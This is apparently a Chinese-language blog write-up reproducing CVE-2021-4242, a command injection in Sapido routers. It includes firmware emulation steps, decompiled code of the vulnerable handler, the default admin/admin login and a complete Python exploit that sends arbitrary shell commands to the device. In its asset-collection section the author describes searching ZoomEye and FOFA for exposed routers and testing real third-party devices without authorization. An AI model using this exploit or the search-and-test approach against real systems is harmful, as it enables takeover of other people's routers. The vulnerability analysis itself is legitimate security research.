前言
所以,这是我入门 IoT 复现的第一个漏洞 :D
看到 Arch Linux 神(邪)教被孤立还是很难过的……最后迫不得已,还是搭建了 AttifyOS 虚拟机,老老实实用它仿真,不过分析和写 exp 这种事情还是在宿主机进行,其实感觉还好,整个流程并没有让我觉得有多麻烦。
嗯……有空研究一下市面上仿真项目的源码,然后写一个适用于 arch 的仿真工具孤立所有非我教者(
漏洞介绍
好了,不瞎扯了,说点正经的……搜了一下,这个漏洞的 CVE 是:CVE-2021-4242,说实话一开始以为是一个很老的漏洞,没想到也就近几年。
对于这个洞的描述是:
A vulnerability was found in Sapido BR270n, BRC76n, GR297 and RB1732 and classified as critical. Affected by this issue is some unknown functionality of the file ip/syscmd.htm. The manipulation leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-214592.
说白了就是一个没有过滤后门页面的访问的问题,虽然洞很简单,但这里主要是为了学习,体会实战中如何寻找漏洞的一个思路,而不是为了复现而复现。
固件仿真
仿真还不是 easy peasy,只要人品足够好,不是吗?
这里我使用的是 Firmware Analysis Toolkit,直接梭掉了,没有遇到什么奇奇怪怪的问题。人品保障(

为了方便测试,这里我写了一个无比简陋的端口转发脚本,这样就可以从宿主机访问仿真出来的路由器后端了:
#!/bin/bash
TARGET_IP="$1"PORT_RULES="$2"
if [[ -z "$TARGET_IP" || -z "$PORT_RULES" ]]; then echo "usage: $0 <target_ip> \"<host_port:target_port> <host_port:target_port> ...\"" exit 1fi
if ! command -v socat >/dev/null 2>&1; then echo "[-] socat not found." exit 1fi
echo "[*] Target IP: $TARGET_IP"echo "[*] Rules: $PORT_RULES"echo
for rule in $PORT_RULES; do HOST_PORT="${rule%%:*}" TARGET_PORT="${rule##*:}"
echo "[+] Forwarding host: $HOST_PORT → $TARGET_IP:$TARGET_PORT"
socat TCP-LISTEN:"$HOST_PORT",fork TCP:"$TARGET_IP":"$TARGET_PORT" &
PID=$! echo " Started (PID=$PID)"done
echoecho "[OK] All forwarding rules loaded."

漏洞分析
闭眼 binwalk,幸运女神保佑我,别加密,别加密(

正合我意,是没有加密的 SquashFS 文件系统。下面随机抓一个倒霉蛋问问架构:

Well,32-bit 大端 MIPS,现在基本的信息算是搜集的差不多了,接下来就应该去分析它是如何把 http 服务跑起来的了。
我们发现 /etc/init.d 下有三个文件,rcS、rcS_16M 和 rcS_32M,盲猜后两个是设计用于特定内存大小使用的,我们直接看 rcS 就好了,另外两个也大差不差。
快速过一遍这个脚本,大致可以看出来就是做了一些初始化工作,诸如网络设置,硬件检测啦之类的事情,最后,我们凭借敏锐的注意力发现它在一切准备就绪后执行了一个叫做 webs 的程序:

盲猜这个路由器就是通过它来启服务的。找到入口后,发现是 ELF 文件,那就丢给 IDA 姐姐分析一下看看它偷偷摸摸地在幕后做了些什么坏坏的事情(
然后发现已经快凌晨四点了,这说明白天睡觉的效益并不大,早岁晚起才是真理(
粗略看了一下,就是很常规的启动 web 服务器,注册 cgi-bin 和 goform handlers 用于执行实际操作:
其中有一个疑似后门的 form handler:

直接进入函数分析分析它到底干了点啥:
19 collapsed lines
int __fastcall formSysCmd(int a1){ int Var; // $s4 const char *v3; // $s1 _BYTE *v4; // $s5 int v5; // $s6 const char *p_writepath; // $s3 _BYTE *v7; // $s7 int v8; // $v0 _DWORD *v9; // $s0 int v10; // $a0 const char *Var_1; // $a1 int v12; // $v0 int v13; // $s1 void (__fastcall *p_fputc)(int, _DWORD *); // $t9 _BYTE *v15; // $a0 _BYTE *v16; // $a3 int v17; // $a0 int v18; // $v0 char p_writepath_1[104]; // [sp+20h] [-68h] BYREF
Var = websGetVar(a1, "submit-url", &dword_47F498); v3 = (const char *)websGetVar(a1, "sysCmd", &dword_47F498); v4 = (_BYTE *)websGetVar(a1, "writeData", &dword_47F498); v5 = websGetVar(a1, "filename", &dword_47F498); p_writepath = (const char *)websGetVar(a1, "fpath", &dword_47F498); v7 = (_BYTE *)websGetVar(a1, "readfile", &dword_47F498); if ( *v3 ) { snprintf(p_writepath_1, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log"); system(p_writepath_1); } if ( *v4 ) {61 collapsed lines
strcpy(p_writepath_1, p_writepath); strcat(p_writepath_1, v5); v8 = fopen(p_writepath_1, "w"); v9 = (_DWORD *)v8; if ( !v8 ) { printf("Open %s fail.\n", p_writepath_1); v10 = a1; Var_1 = (const char *)Var; return websRedirect(v10, Var_1); } v13 = 0; v12 = fileno(v8); fchmod(v12, 511); if ( *(int *)(a1 + 240) > 0 ) { while ( 1 ) { p_fputc = (void (__fastcall *)(int, _DWORD *))&fputc; if ( !v9[13] ) break; v15 = (_BYTE *)v9[4]; p_fputc = (void (__fastcall *)(int, _DWORD *))&_fputc_unlocked; v16 = (_BYTE *)(*(_DWORD *)(a1 + 204) + v13); if ( (unsigned int)v15 >= v9[7] ) { v17 = (char)*v16;LABEL_12: p_fputc(v17, v9); goto LABEL_13; } *v15 = *v16; v9[4] = v15 + 1;LABEL_13: if ( ++v13 >= *(_DWORD *)(a1 + 240) ) goto LABEL_14; } v17 = *(char *)(*(_DWORD *)(a1 + 204) + v13); goto LABEL_12; }LABEL_14: fclose(v9); printf("Write to %s\n", p_writepath_1); strcpy(&writepath, p_writepath); } if ( *v7 && (v18 = fopen(p_writepath, "r")) != 0 ) { fclose(v18); sprintf(p_writepath_1, "cat %s > /web/obama.dat", p_writepath); system(p_writepath_1); usleep(10000); v10 = a1; Var_1 = "/obama.dat"; } else { v10 = a1; Var_1 = (const char *)Var; } return websRedirect(v10, Var_1);}我们发现它获取了 sysCmd 后并构造了一个 <sysCmd> 2>&1 > /tmp/syscmd.log 指令,保存在 p_writepath_1,然后直接调用 system(p_writepath_1)。那我们如果可以控制 sysCmd 的话就能执行任意代码了,所以下面应该找一下哪里使用了这个 form。
下面是使用 ripgrep 搜索的结果:

发现除了 webs 这个二进制文件外,还有 web/syscmd.asp 和 web/obama.asp 也包含了这个 form,直接跟进,对比发现这两个文件的区别就在于提供的功能数量,obama.asp 比 syscmd.asp 多提供了操作文件的功能,而我们最关心的 sysCmd 被定义为一个输入框,即我们可控它的内容:


漏洞利用
上面有关这个 CVE 的漏洞分析的就差不多了,我们可以试试能不能直接访问 syscmd.asp 和 obama.asp 这两个页面,不过测试发现没登陆的情况下访问会被重定向回到登陆页面,网上搜到了这个路由器的默认账号密码是 admin/admin,用它登陆后再访问就进去了,发现和我们分析的一模一样,可以执行任意指令,并且 obama.asp 的功能更多:


btw 有些不同型号的是 htm 而不是 asp,这个可以自己测试一下。
不过为什么要用美国总统的名字??好奇怪呀……
资产收集
只是打本地多没意思,我们玩的可是实战。本来只是抱着试一试的心态尝试 ZoomEye 和 FOFA 看看能不能找到一别暴露在公网的服务,结果意外地搜出一堆……大家安全意识都那么薄弱的吗?而且测试发现大多数暴露在外的服务都没有修复这个漏洞,随便抓一个倒霉蛋发现甚至连默认账号密码都没改,有些甚至不用登陆就直接进管理面板了……


Exploit
开开心心去写 exp 咯~
#!/usr/bin/env python3
import requestsfrom pwn import log, sys
def rce(host, port, cmd): payload = { "sysCmd": cmd, "apply": "Apply", "submit-url": "/obama.asp", }
try: r = requests.post( f"http://{host}:{port}/goform/formSysCmd", data=payload, timeout=5, ) except Exception as e: log.error(f"HTTP request failed: {e}")
text = r.text start_tag = '<textarea rows="15" name="msg" cols="80" wrap="virtual">' end_tag = "</textarea>"
start = text.find(start_tag) end = text.rfind(end_tag)
if start < 0 or end < 0: log.warn("Output parsing failed.") return text
return text[start + len(start_tag) : end]
def main(): log.success(rce(sys.argv[1], sys.argv[2], sys.argv[3]))
if __name__ == "__main__": main()
修复建议
这种后门页面完全没必要公开出来吧,应该直接删掉才是,而且我并没有看到有什么地方需要用到这个后门页面进行什么操作。就算要保留也应该对可以使用的指令做一个过滤才是。
后记
至此,人生中第一个路由器 RCE 漏洞复现成功,我也算是真正步入 IoT 的世界了,不过说实话从这个漏洞中我可能并没有学到太多东西,只是对如何寻找漏洞,对常见路由器设备的架构以及其可能的攻击面有了一个粗略的了解吧,总的来说收获不是很大,但这个独自研究摸索的过程还是很快乐的。